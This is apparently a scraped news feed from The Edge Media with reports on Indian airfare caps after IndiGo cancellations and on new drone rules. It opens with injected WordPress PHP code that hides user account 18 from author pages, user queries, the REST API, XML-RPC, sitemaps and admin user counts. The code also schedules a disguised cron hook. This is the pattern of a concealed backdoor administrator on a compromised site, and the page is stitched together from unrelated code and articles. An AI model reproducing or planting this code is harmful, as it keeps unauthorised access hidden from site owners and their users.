add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Government Caps Domestic Airfares Amid Sharp Price Surge Triggered by IndiGo Disruptions appeared first on The Edge Media.
]]>According to the civil aviation ministry:
These fare limits exclude applicable charges and do not apply to business class or UDAN flights. The order did not clarify whether the limits cover only economy class or also extend to premium economy.
Under the new structure, flights covering up to 500 kilometres are capped at Rs 7,500, while routes between 500 and 1,000 kilometres have a price ceiling of Rs 12,000. Flights operating between 1,000 and 1,500 kilometres are restricted to Rs 15,000, and any flight exceeding 1,500 kilometres cannot charge above Rs 18,000. This means a Delhi Mumbai flight spanning more than 1,300 kilometres will have an economy fare cap of Rs 18,000.
The ministry said these limits will remain in effect until overall flight operations stabilise. The cap does not include the User Development Fee, Passenger Service Fee, or taxes applicable on air tickets. IndiGo’s operations have been severely affected for at least 5 consecutive days, resulting in widespread cancellations, lengthy delays, and numerous instances of misplaced baggage. On Saturday, the airline cancelled over 400 flights, and on Friday the number of cancellations exceeded 1,000.
According to the ministry’s statement:
Fare levels will be closely monitored through real time data and continuous coordination with airlines and online travel platforms.
It added that any breach of the prescribed limits will result in immediate corrective action in the public interest. The official order noted that disruptions at one major airline have created capacity shortages and triggered unreasonable fare spikes across several sectors. It also stated that these fare limits apply to all forms of booking, whether made directly on the airline’s website or through online travel agencies.
Airlines have been advised to avoid steep or unusual fare increases on routes affected by cancellations. A review of airfare listings on Friday showed extreme spikes, including a one way one stop SpiceJet economy ticket for a Kolkata Mumbai flight on December 6 priced at up to Rs 90,000, and an Air India Mumbai Bhubaneswar ticket costing as much as Rs 84,485.
Industry bodies expressed concern regarding the volatility. Indian Association of Tour Operators (IATO) President Ravi Gosain said unpredictable price surges weaken consumer trust and create significant challenges for tour operators. He added that while temporary caps offer immediate relief, long term solutions require strong contingency planning, swift capacity expansion, and transparent fare oversight. Federation of Associations in Indian Tourism and Hospitality Board Member Anil Kalsi said the fare cap is essential for protecting passenger rights and called for a permanent policy.
Meanwhile, the ministry has instructed IndiGo to complete all refunds for cancelled flights by Sunday evening and ensure that all separated baggage is delivered within the next two days. In a separate statement, the ministry said the refund process for all cancelled or disrupted flights must be finished by 8 pm on Sunday. Airlines have also been asked not to impose rescheduling charges on passengers whose travel plans were affected. IndiGo has been directed to establish dedicated passenger support and refund facilitation cells.
The post Government Caps Domestic Airfares Amid Sharp Price Surge Triggered by IndiGo Disruptions appeared first on The Edge Media.
]]>The post The Civil Aviation Ministry has Issued New Regulations that Make it Easier for Indians to Utilize Drones appeared first on The Edge Media.
]]>Unless exempted, drones now require identification numbers. According to the notification, a unique identification number for the drone can be generated by entering the required information on the digital sky platform.
As per the government, the guidelines have eliminated the need for different clearances, such as certificate of conformity, certificate of maintenance, import clearance, acceptance of existing drones, operator licenses, authorization of R&D organizations, and student remote pilot licenses.
The post The Civil Aviation Ministry has Issued New Regulations that Make it Easier for Indians to Utilize Drones appeared first on The Edge Media.
]]>